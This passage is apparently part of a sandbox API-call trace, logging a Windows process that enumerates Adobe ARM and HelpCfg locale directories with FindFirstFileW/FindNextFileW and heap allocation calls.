FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0241.073] GetProcessHeap () returned 0x550000 [0241.073] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.074] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.074] GetProcessHeap () returned 0x550000 [0241.074] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.074] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0241.074] GetProcessHeap () returned 0x550000 [0241.074] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0241.074] GetProcessHeap () returned 0x550000 [0241.074] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0241.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0241.153] GetProcessHeap () returned 0x550000 [0241.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.155] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.155] GetProcessHeap () returned 0x550000 [0241.155] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.155] GetProcessHeap () returned 0x550000 [0241.155] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.167] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.167] GetProcessHeap () returned 0x550000 [0241.167] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.167] GetProcessHeap () returned 0x550000 [0241.167] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.637] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.643] GetProcessHeap () returned 0x550000 [0241.645] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.645] GetProcessHeap () returned 0x550000 [0241.645] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.669] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.670] GetProcessHeap () returned 0x550000 [0241.670] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.670] GetProcessHeap () returned 0x550000 [0241.670] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.671] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.671] GetProcessHeap () returned 0x550000 [0241.671] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.671] GetProcessHeap () returned 0x550000 [0241.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.696] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.696] GetProcessHeap () returned 0x550000 [0241.696] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.696] GetProcessHeap () returned 0x550000 [0241.696] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0241.697] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0241.697] GetProcessHeap () returned 0x550000 [0241.697] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0241.697] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0241.697] GetProcessHeap () returned 0x550000 [0241.697] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0241.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.180] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.203] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.203] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.204] GetProcessHeap () returned 0x550000 [0242.204] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.204] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0242.204] GetProcessHeap () returned 0x550000 [0242.204] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.223] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.224] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.224] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.224] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.224] GetProcessHeap () returned 0x550000 [0242.224] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.224] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0242.224] GetProcessHeap () returned 0x550000 [0242.224] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.225] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.225] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.225] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.225] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.225] GetProcessHeap () returned 0x550000 [0242.225] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.225] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0242.225] GetProcessHeap () returned 0x550000 [0242.225] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.314] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.314] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.320] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.326] GetProcessHeap () returned 0x550000 [0242.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.326] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0242.326] GetProcessHeap () returned 0x550000 [0242.326] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.421] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.422] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.422] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.422] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.422] GetProcessHeap () returned 0x550000 [0242.422] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.422] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 